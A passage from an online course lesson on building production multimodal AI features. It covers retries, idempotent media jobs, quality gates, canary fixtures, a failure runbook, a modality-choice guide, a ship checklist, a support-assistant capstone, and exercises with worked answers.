  • Long-running jobs need job-level retries, not request-level. A 10-minute transcription shouldn't be retried 3× inside one HTTP request; the job retries with backoff and a max-attempts counter, and partial progress (completed chunks) is preserved (1.4).
  • Timeouts are modality-shaped. A vision Q&A call might need 30 s; a video summary 10 min; a realtime session is a connection, not a request — its "timeout" is session-length limits and idle-disconnect handling (09.6). Set timeouts per stage, not globally.
  • 200-with-error applies to media too. A transcription job can "succeed" with empty output on silence; a generation can return a filtered/blank image; a VLM answer can be a refusal string. Validate output quality, not just HTTP status — 03.8, Part 10 covers the pattern.

6.3 Idempotency for media jobs#

Design every job handler to be safe to run twice:

  • Idempotency key = content hash + task. sha256(media_bytes) + task_type means a retried "transcribe this file" maps to the same job; the second run finds the completed result and returns it instead of re-billing.
  • Provider job IDs are your dedup anchor. Store provider_job_id on the job row; before submitting new work, check whether a job with the same input hash already has a provider ID — if so, poll that one instead of creating a duplicate (03.9, 11.1 is the same pattern for batch APIs).
  • Webhooks dedupe by event ID. A provider may retry a webhook; your handler must recognise the same request_id/event_id and no-op the second delivery.
  • Partial results are resumable. Chunked transcription/embedding stores per-chunk results keyed by chunk index; a retry resumes at the first missing chunk, not from zero.

6.4 Partial failures and quality gates#

Real pipelines fail partially: page 3 of a 10-page PDF times out, one of three generated images is filtered, two of five video segments fail. Design for it:

  • Per-item isolation. Process media in independent units (pages, chunks, frames, segments) so one failure doesn't poison the batch; collect per-item status and surface "7/10 pages extracted, page 4 failed" rather than a single error.
  • Quality gates before output. A gate is a cheap check between pipeline stages: does the transcript have reasonable confidence? Does the extraction JSON validate? Does the generated image meet brand-safety? Does the answer cite a real source? Failed gates route to retry, fallback, or human review — not to the user.
  • Human review queues. For high-stakes outputs (extracted amounts, generated marketing images, voice-agent commitments), a review queue with the original media + model output + confidence is the standard pattern. Budget for it: a 5% review rate on 10k items/day is 500 reviews — staff it or automate the easy cases.
  • Graceful partial answers. When some inputs fail, answer with what succeeded and clearly mark the gaps ("I read pages 1-3 and 5-10; page 4 was unreadable") — a partial answer with honest gaps beats a total failure.

6.5 Canary tests with fixed media fixtures#

A canary is a small, scheduled, production-facing check that catches drift and outages before users do:

  • Fixed fixtures, not live traffic. Keep a versioned set of representative media (the golden fixtures from 4.4) in a private bucket; a cron job runs the pipeline on them every N minutes/hours and asserts the outputs still meet contract checks.
  • Assert on properties, alert on regressions. "Transcription WER < 5% on fixture", "extraction total field present and numeric", "generated image passes safety filter" — threshold checks that page you when a provider silently degrades.
  • Canary the whole path, not just the model. Include upload → preprocess → provider → post-process → store, so you catch a broken ffmpeg, an expired credential, or a storage policy change, not only a model regression.
  • Two canaries if budget allows. A cheap/synthetic canary every few minutes (tiny fixture, minimal cost) and a realistic canary hourly (real media, real cost). The cheap one catches outages; the realistic one catches quality drift.

The cross-modal ways production media pipelines go wrong — symptom first, then the likely cause, the signal that catches it, and the fix. Extend this table with your own incident history; it doubles as your on-call runbook's index.

Symptom Likely cause Detection signal Fix
Empty or garbage transcript on noisy audio VAD/AGC settings ate the speech, or the recording is below the noise floor Transcript confidence ≈ 0 or empty on fixtures with known speech; user reports "it didn't hear me" Check input levels and VAD threshold first; add denoise/normalisation upstream; route repeated failures to human review instead of silently returning "" (2.2, 09.4)
Image generation returns moderation_blocked Prompt or output hit the provider's safety filter error.code: "moderation_blocked" with moderation_details.moderation_stage (input/output) Don't auto-retry blindly — inspect which stage blocked, rewrite the prompt or adjust the moderation param, log the decision; borderline content goes to review (5.4, 09.3)
Monthly bill 3× the model Retry loop on a flaky provider, a floating alias drifting to a pricier model, or an unbounded realtime session Per-feature cost dashboard vs budget; token audit on the expensive lines Enforce per-user quotas before provider calls (3.5), pin dated model snapshots (4.5), alert on per-feature spend, and check idempotency — retried jobs must not re-bill (6.3)
Signed-URL 403s in the media player Expired URL, clock skew between signer and client, or wrong credentials/scope 403 rate on media GETs; SignatureDoesNotExist/expiry errors in logs Re-issue URLs per view with a skew margin, keep TTLs short but not sub-second, sync host clocks (1.5)
Realtime agent goes dead silent mid-call Endpointing mis-tuned (turn never "ends"), VAD ate the user's turn, or jitter-buffer underflow TTFA p95 spike; turns logged with no user speech detected; choppy audio on lossy networks Tune endpointing/VAD per caller population, deepen the jitter buffer, and fall back to cascaded or text chat per the 6.1 ladder
Whole modality down, others fine Provider outage or a deprecated endpoint Error-rate alert per provider; canary failures on that modality only Walk the degraded-mode table (6.1): alternate provider → cheaper model → honest "unavailable" message; never silently serve a worse answer unlabelled
Outputs subtly worse after a "routine" deploy Floating model alias auto-upgraded; prompt or preprocessing changed Golden-fixture regression suite fails; canary thresholds breach Pin dated snapshots, eval-gate every upgrade, keep fixtures versioned with the pipeline (4.4, 4.5)
User billed twice for one upload Retried job resubmitted without an idempotency key Duplicate provider_job_ids for the same sha256+task Key jobs on content hash + task type; dedupe webhook deliveries by event ID; check-then-poll before creating a new provider job (6.3, 1.4)
Job "succeeds" but the answer has gaps One page/chunk/segment failed inside a partial batch Per-item status shows e.g. 7/10 succeeded; quality gate catches missing fields Per-item isolation + quality gates route failures to retry or the human-review queue; answer with honest gaps, not silence (6.4)
Upload probe rejects a legitimate file Wrong magic-byte branch (e.g. audio-only MP4 read as video), or a cap set too tight Probe FAIL rows in logs for files users insist are valid Check the sniffed kind/fmt in the error, compare against real files of that type, and widen caps or fix classification — the probe is a policy gate, tune it deliberately (1.3)
TTS reads "asterisk asterisk" or a URL aloud Script contains markdown/markup the voice model verbalises literally Round-trip STT check or listening test catches spoken punctuation/URLs Run a verbalise/lexicon pass before synthesis — strip markup, expand abbreviations per language (09.5)
Generated image is off-brand but "safe" Provider safety filter passed it; your brand/policy rules are a separate layer Brand-check gate or human review flags it post-generation Layer your own output policy on top of provider moderation; route flagged assets to review before publish (5.4)
"Delete my data" leaves copies behind Provider file IDs weren't stored at upload, or a store was missed in the walk Deletion-job audit reports undeleted items per store Store every provider file ID at upload time; the deletion job must walk store + DB + provider files + embeddings + caches, and be idempotent (5.2)
Captions wrong for accented/code-switched speech Language hint missing or wrong; model tuned for one language WER spike on the accented-speech eval slice Verify per-language model coverage before promising it, set language hints, keep per-language eval slices (2.5, 4.2)
Webhook never arrives / arrives twice Endpoint unreachable or provider retried delivery Job stuck in running; duplicate event IDs in the log ACK fast and verify signatures; dedupe by event ID; keep a polling fallback for missed webhooks (1.4, 6.3)

Part 7: Choosing and combining modalities, then wrap-up#

7.1 Choosing and combining modalities#

The most common multimodal mistake is adding a modality because it's impressive, not because it solves the problem. The decision guide:

flowchart TD
    Q1{"Does the task need<br/>information only in<br/>non-text media?<br/>(photo, audio, video, scan)"}
    Q1 -- no --> T["Text-only is enough.<br/>Cheaper, faster, simpler, more accessible."]
    Q1 -- yes --> Q2{"Is the info extractable<br/>to text ONCE, cheaply?<br/>(OCR, ASR, captions)"}
    Q2 -- yes --> R["Extract → text pipeline.<br/>Transcribe/OCR once, then<br/>use the cheap text path."]
    Q2 -- no / lossy --> Q3{"Does the task need<br/>real-time interaction<br/>or spatial/visual reasoning<br/>text can't express?"}
    Q3 -- no --> V["Vision/audio understanding:<br/>send media to a VLM/ASR,<br/>structured output, store artefacts."]
    Q3 -- yes --> H["Voice/realtime agent:<br/>justified by latency +<br/>interaction needs. Expensive;<br/>design the budget first."]
Situation Right modality Why
"Summarise this PDF" Text extraction (parser/OCR) → text LLM Text is cheaper and more controllable; vision only if layout matters (09.2)
"What's in this photo?" Vision (VLM) The info is visual; no text equivalent exists
"Read this receipt aloud" STT → TTS, or VLM → TTS STT gets the words; VLM gets layout; TTS speaks it — compose, don't pick one
"Answer questions about a video" Transcript + keyframes → VLM Transcript-first is cheaper; frames only for visual questions (09.8)
"Real-time voice assistant" Realtime speech-to-speech OR cascaded Justified by latency/interruption needs — the most expensive option (09.6, 09.7)
"Search across my photos/docs/audio" Multimodal embeddings → retrieval Embed once at ingest; retrieve by any modality (09.9)
"Live captions for a call" Streaming ASR Real-time requirement; batch ASR is cheaper but wrong shape

The composition rule: modalities compose into pipelines, not into one mega-call. A "multimodal support assistant" isn't one model that does everything — it's upload→validate→route→(vision OR audio OR retrieval)→reason→respond, with each modality used where it's strongest. The capstone below shows this.

7.2 The one-page multimodal product checklist#

Before you ship a multimodal feature, every box:

Architecture & pipeline

  • Upload validated before provider sees bytes (magic bytes, size, duration, decode limits)
  • Preprocessing normalises media to provider-friendly form (resize/transcode/strip EXIF)
  • Media stored in object storage with DB index, signed URLs, lifecycle rules
  • Long operations are async jobs with status, progress, idempotency keys
  • Provider file IDs stored for later deletion

Latency & UX

  • Per-modality latency budget defined and measured (p50/p95/p99)
  • Progress/staging shown for anything > ~2 s; streaming where supported
  • Degraded mode defined per modality (what happens when the model is down)
  • Accessibility: text equivalent for every media/audio output
  • Mobile/network reality: client-side resize, resumable uploads, offline path considered

Cost

  • Cost model built with prices as parameters, per feature line
  • Per-user quotas enforced before provider calls
  • Cost attribution by feature/user/provider in logs
  • Cache/dedup/batch/tier levers applied where they fit

Evaluation

  • Labelled eval set per modality, versioned, consented
  • Contract assertions + golden fixtures re-run on every change
  • Production canary on a schedule
  • Model versions pinned; upgrades eval-gated

Safety, privacy, compliance

  • Consent/notice captured before recording/uploading personal media
  • Retention policy + deletion job covering store, provider files, derived artefacts
  • PII redaction (faces, documents, transcripts) before storage/logging
  • Input AND output moderation wired; borderline → human review
  • Deepfake/impersonation mitigations for voice/video; provenance marking on generated media
  • Regulatory check for your jurisdiction (AI Act Art. 50, GDPR, sector rules) — not legal advice
  • Abuse monitoring + kill switches + incident runbook

Reliability

  • Retries/timeouts per modality; retry budgets enforced
  • Partial-failure handling: per-item isolation, quality gates, human review queue
  • Idempotent job handlers (content-hash + task dedup)

7.3 Capstone walkthrough: the multimodal support assistant#

Design-level walkthrough — no new code, just how the pieces compose. Product: a support assistant that accepts a photo of a broken product, a screenshot of an error, a voice note, or a PDF manual, and answers/triages.

flowchart LR
    subgraph ingest ["Ingest & store"]
        UP["Upload (photo / audio / PDF / video)"] --> VAL["media_probe: sniff, cap, dims"]
        VAL --> STO["Object storage + media row<br/>(sha256, retention_until)"]
    end
    subgraph route ["Route by modality"]
        STO --> R{"Detected kind"}
        R -- image --> VLM["VLM: describe + classify issue"]
        R -- audio --> STT["ASR: transcript + speaker"]
        R -- pdf --> DOC["Parser/OCR → fields"]
        R -- video --> VID["Frames + transcript → summary"]
    end
    subgraph reason ["Reason & respond"]
        VLM --> LLM["LLM: draft response<br/>(structured output + citations)"]
        STT --> LLM
        DOC --> LLM
        VID --> LLM
        LLM --> MOD["Output moderation +<br/>brand/policy check"]
        MOD --> OUT{"Voice requested?"}
        OUT -- yes --> TTS["TTS audio reply"]
        OUT -- no --> TXT["Text reply"]
    end
    subgraph ops ["Operations"]
        JOB["Job queue:<br/>async for long media"]
        QUEUE["Human review queue:<br/>low confidence / flagged"]
        CAN["Canary fixtures:<br/>hourly regression check"]
    end
    route -.-> JOB
    MOD -.-> QUEUE
    VAL -.-> CAN
Component Modality lesson Key decision
Upload validation — (this lesson, 1.3) Reject before provider; cap by kind
Image understanding 09.1 Downscale first; VLM for describe+classify; OCR fallback
Document extraction 09.2 Parser-first for digital PDFs, OCR for scans
Speech-to-text 09.4 Batch for voice notes >30 s; streaming for live
Text-to-speech 09.5 Cache common phrases; per-language voice review
Video understanding 09.8 Transcript-first; frames only for visual questions
Multimodal retrieval 09.9 Embed at ingest; retrieve across all media types
Reasoning/orchestration 08A.2, Module 04 Structured output + citations; untrusted-media discipline
Safety/moderation this lesson 5.4 Input+output moderation; human review queue
Cost/quotas this lesson 3.x Per-user caps; cost attribution by modality
Eval/canary this lesson 4.x, 6.5 Golden fixtures per modality; contract assertions

The point of the capstone: each modality is a specialised stage with its own lesson, its own metrics, its own failure modes — and the product is the orchestration around them, not any single model. That's what "multimodal product" means in practice.

7.4 Pointers to Modules 10A to 13B#


Common misconceptions#

Misconception Reality
"Multimodal means one big model call." It means a pipeline of specialised stages — upload, preprocess, per-modality model, reason, respond — each with its own failure modes and costs. The capstone (7.3) is the shape.
"The provider handles moderation for us." Providers offer signals (scores, flags, safety filters, refusals); your product needs its own policy layer, thresholds, human review and logging. And several providers (Anthropic, OpenRouter) have no dedicated moderation endpoint at all — you build it from Claude-as-judge or the routed provider's filters.
"Voice latency is the model's problem." Endpointing, network, jitter buffer and playback are often bigger than model time — the budget arithmetic in 2.2 shows endpointing alone (350 ms) is nearly twice all the capture, network and playback stages combined, and a large share of the model's own time.
"If it works in the demo, it's ready." Multimodal products fail on hostile uploads, provider outages, model drift, partial failures and edge-case media — the checklist (7.2) exists because demos skip all of them.
"Generated media doesn't need a text equivalent." Accessibility, SEO, screen readers and your own downstream text pipeline all need the transcript/caption/extraction — produce it anyway; it's nearly free once you have the pipeline.
"Cost is per-token like text." Every modality has its own unit — image tokens, audio minutes, video seconds, characters, realtime audio tokens — and confusing them is the most common budget bug.
"Delete means delete from our database." It means your store, provider file IDs, embeddings, transcripts, thumbnails and caches — a deletion job that walks all of them, verified per provider (5.2).

Key takeaways#

  • The reference pipeline — validate → preprocess → model call(s) → post-process → store — is the same for every modality; the differences are in each stage's implementation, not the shape.
  • Validate uploads before a provider sees a byte; treat all media (input and output) as untrusted.
  • Long operations are async jobs with status, progress, idempotency and webhook/poll completion — design the job abstraction once, fit providers under it.
  • Media storage is object storage + DB index + signed URLs + lifecycle rules + a deletion job that reaches provider files too.
  • Latency is per-modality: voice has a hard conversational budget (endpointing often dominates); batch media has an SLA, not a latency target.
  • Cost is per-modality-unit; build the cost model with prices as parameters and enforce per-user quotas before the provider does.
  • Evaluate each modality on its own contract metrics; use golden fixtures, contract assertions, canaries and pinned models — Module 10A owns the depth.
  • Safety is cross-modal: consent, retention/deletion, PII redaction, input+output moderation, deepfake mitigations and regulatory awareness (EU AI Act Art. 50 is live as of Aug 2026).
  • Reliability is degraded modes per modality, per-stage timeouts, idempotent jobs, quality gates and human review — not "retry everything".
  • Choose modalities by need, not novelty: extract-to-text when possible, vision/audio when the info is non-text, voice only when real-time interaction justifies the cost.

Terms introduced in this lesson#

Term One-line definition
Media probe A lightweight pre-flight check that sniffs a file's magic bytes and extracts cheap metadata (dimensions, duration, page count) without fully decoding it — used to validate uploads before they reach a provider or storage
Degraded mode A fallback path that keeps a feature working at reduced quality when its primary modality or provider is unavailable — e.g. OCR instead of a VLM, text chat instead of voice, standard voice instead of premium
Quality gate A cheap automated check between pipeline stages that decides whether an output is good enough to proceed, retry, fall back or route to human review — e.g. "does the extraction JSON validate", "does the transcript confidence exceed threshold"
Golden fixture A fixed, versioned set of representative media inputs with expected outputs, re-run after every model/prompt/preprocessing change to catch regressions — the media equivalent of a golden-file test
Endpointing The silence-detection step in voice pipelines that decides when a speaker has finished their turn — a latency dial that trades dead air against clipped speech
Time-to-first-audio (TTFA) The latency from end-of-user-speech to the first audible byte of the assistant's reply in a voice system — the key responsiveness metric for realtime voice
Barge-in The user interrupting the assistant mid-response; handled by cancelling playback and truncating the assistant's turn in context to what the user actually heard
Signed URL / presigned URL / SAS A time-limited URL granting one operation on one object in object storage without exposing cloud credentials — issued per-view with short expiry
Lifecycle rule An object-store automation that performs an action (delete, tier to cheaper storage, abort incomplete upload) on objects matching age/prefix conditions — used for cost tiering and guaranteed deletion
Decompression bomb A small file whose declared dimensions or structure would expand to consume excessive memory when decoded — caught by pixel/duration caps in the media probe before decoding
Canary test A small scheduled production-facing job that re-runs fixed media fixtures and asserts outputs still meet contract checks — catches model/prompt/provider drift between deploys
Modality-specific billing unit The unit a provider charges for a modality — image tokens, audio minutes, video seconds, TTS characters, realtime audio tokens — which differs per provider and must be read from the pricing page, not assumed

Exercises#

  1. Extend the media probe. Add detection for a format not covered (e.g. HEIC ftypheic, AVIF ftypavif, or FLAC fLaC). Write the magic-byte check and a header parser for its dimensions/duration, and add it to ALLOWED with a size cap. Test it against a file you generate yourself.
  2. Build the deletion job. Write a function delete_user_media(user_id) that walks your (simulated) stores: object-storage keys, DB rows, provider file IDs, embeddings, transcripts — and marks each deleted with an audit record. Make it idempotent (running it twice is safe).
  3. Voice latency budget. Using voice_budget.py, plug in your measured stage latencies (or realistic estimates) for a cascaded pipeline, then compute the total. Which single stage would you attack first to get under a 1-second TTFA target? Justify with the arithmetic.
  4. Cost model sensitivity. Take the worked example in multimodal_cost.py and halve image_tokens_per_image (simulating aggressive downscaling). How much does vision_analysis + multimodal_embeddings drop? What usage change would have the biggest effect on TOTAL?
  5. Moderation policy layer. Sketch (in pseudocode or Python) a moderate_and_route() function that calls the OpenAI moderation endpoint, applies your product thresholds (e.g. flag if sexual/minors score > 0.1 regardless of flagged), and routes borderline cases to a human-review queue. Handle the moderation_stage field for generated outputs.
  6. Golden fixture suite. Create a directory of 5-10 tiny fixture files (a PNG, a WAV, a PDF stub — you can generate them with stdlib code) and a run_fixtures() that "processes" each through a mock pipeline and asserts contract properties (dimensions present, duration > 0, page count > 0). This is the seed of your canary.
  7. Degraded-mode table. For one modality of your choice, write the full degradation ladder (primary → degraded → degraded → last resort) with the specific fallback technology for each rung, and identify which rung you'd implement first.
  8. Capstone architecture. Draw (on paper or in Mermaid) the architecture for a different multimodal product than the support assistant — e.g. a voice-controlled recipe app, a video-lecture Q&A tool, or a photo-based plant identifier. Label each stage with the modality lesson it draws from.
Hints and worked answers
  1. FLAC starts with the four bytes fLaC; HEIC/AVIF are ISO-BMFF files whose ftyp major brand is heic or avif, so the existing ftyp branch needs a brand check before it falls through to "video". Parse FLAC's STREAMINFO block (sample rate, channels, total samples) for the duration; for HEIC/AVIF leave dimensions to a real decoder and judge on brand and size, as the lesson does for MP4. Remember to add the new format to ALLOWED, _BODY_FORMATS if you read past the head, and a size cap.
  2. Model each store as a function (user_id) -> list[str] of item ids and a delete(item_id); write one audit row per item with status in {"deleted", "already_gone", "failed"}. Idempotent means "already gone" is a success, not an error, and the job can resume after a crash. Provider file IDs only exist if you stored them at upload time.
  3. The cascaded run in the lesson totals 1,535 ms, so you need to remove about 535 ms to reach 1,000 ms. Endpointing (350 ms) and model first output (600 ms) are the two big stages: for example endpointing 350 to 200 (-150), model 600 to 350 with a faster tier (-250), TTS first audio 220 to 120 (-100) and STT 180 to 120 (-60) gets to 975 ms. Say which of those you could really achieve, and measure before believing it.
  4. Halving image_tokens_per_image takes vision_analysis from $137.50 to $68.75 (-$68.75). multimodal_embeddings does not move, because the calculator prices embeddings per 1,000 images, not per image token. That is a modelling choice worth noticing: Gemini bills embedding images in tokens (see 09.9, 4.4), so a faithful model would change it too. The biggest lever on TOTAL ($602.85) is whichever line you can cut by the largest share: vision at $137.50, then embeddings and the text LLM at $90 each.
  5. Call client.moderations.create(...), read result.results[0].category_scores (not only flagged), apply your own thresholds per category, and return "block", "review" or "allow". For generated outputs, branch on error.code == "moderation_blocked" and moderation_details.moderation_stage (input or output) from 5.4 instead of retrying. Always log the decision and the threshold version.
  6. Generate files with struct, wave and string literals as make_fixtures does, then assert properties (probe(p).ok, width > 0, duration_s > 0, pages >= 1) instead of exact bytes. Add one hostile fixture (the 40,000x40,000 PNG header) that must be rejected.
  7. Example for STT: cloud ASR, then on-device whisper.cpp, then batch retry later, then "we will transcribe when service returns". Implement first the rung that covers the most likely failure (a provider outage) cheaply: usually the second provider or the "retry later" queue.
  8. A voice-controlled recipe app, for instance: client mic capture (WebRTC) -> realtime speech-to-speech agent (09.6, 09.7) -> recipe search (09.9) -> TTS fallback (09.5); label which stage uses which lesson, and add the validation, quota and degraded-mode boxes from this lesson.

Check yourself#

  1. Why validate uploads before sending them to a provider, when the provider will reject bad files anyway?
  2. A 2-hour video transcription takes 8 minutes. Should it be a synchronous endpoint or an async job?
  3. Your voice agent's model is fast (200 ms TTFT) but users say it feels laggy. What else is in the latency budget?
  4. Why do realtime voice and batch transcription have such different cost structures?
  5. What's the difference between "moderation" as a provider feature and moderation as a product requirement?
  6. A provider silently upgrades a model alias and your extraction accuracy drops. What should have prevented this?
  7. Why does "delete my data" need a job that walks multiple stores rather than a single DELETE?
  8. When is text-only "good enough" instead of adding vision or voice?
  9. Why store the sha256 of every upload, and what three things does the hash buy you?
  10. Why must degraded-mode outputs be labelled in the UI and the logs, rather than returned silently?
  11. Why is an object-store lifecycle Delete rule a safety net rather than your deletion mechanism?
  12. What does a production canary catch that a pre-deploy eval suite doesn't?
  13. A user uploads a 3 GB screen recording. Walk through what your front door does with it, stage by stage.
  14. Why must "delete" reach the provider's Files API, not just your own object store?

Further resources#


← 09.9 — Multimodal Embeddings and Retrieval | Module 09 overview | Module 10A: Evaluation Foundations →

Esc
02.2Tokens and TokenizationHow LLMs Work · 21k wordsLesson
02.3EmbeddingsHow LLMs Work · 18k wordsLesson
07Retrieval-Augmented Generation (RAG)11 lessons · Everyone who will build LLM features that must answer from knowledge the model doesn't have in its weights: internal handbooks and help centres, contracts, ticket histories, product docs, or any corpus that changes faster than a training run. The module covers the full RAG stack — architecture, retrieval strategy, query understanding, grounded generation, citations, conversation, managed services, advanced patterns, evaluation, debugging and production operation — and shows where each major provider's managed retrieval and citation features fit (OpenAI, Anthropic, Google Gemini and OpenRouter). All code is Python.Overview
08E.1The Model Context Protocol (MCP)Protocols and Extensibility · 12k wordsLesson
↑ ↓ navigate↵ openesc close